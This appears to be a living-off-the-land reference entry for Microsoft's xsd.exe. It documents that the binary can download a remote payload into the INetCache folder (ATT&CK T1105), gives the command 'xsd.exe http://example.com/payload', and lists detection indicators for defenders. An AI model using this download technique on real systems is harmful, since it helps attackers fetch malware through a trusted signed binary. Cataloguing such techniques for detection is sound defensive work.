.. /xsd.exe

Star

Paths:

• C:\Program Files (x86)\Microsoft SDKs\Windows\<version>\bin\NETFX <version> Tools\xsd.exe

Acknowledgements:

• Avihay Eldad (@AvihayEldad)

Detections:

• IOC: URL on a xsd.exe command line
• IOC: xsd.exe making unexpected network connections or DNS requests

Download

1. Downloads payload from remote server

   xsd.exe http://example.com/payload

   Use case

   It will download a remote payload and place it in INetCache

   Privileges required

   User

   Operating systems

   Windows

   ATT&CK® technique

   T1105

   Tags

   Download: INetCache

   INetCache downloaders typically store files in a randomly-named folder under %LOCALAPPDATA%\Microsoft\Windows\INetCache\IE, having added [1] or a higher number between the file's name and its extension.
   If you downloaded a file named XYZ.exe, the full path of the downloaded file can be obtained by executing the following command:
   cmd.exe /c "where /r %LOCALAPPDATA%\Microsoft\Windows\INetCache XYZ*"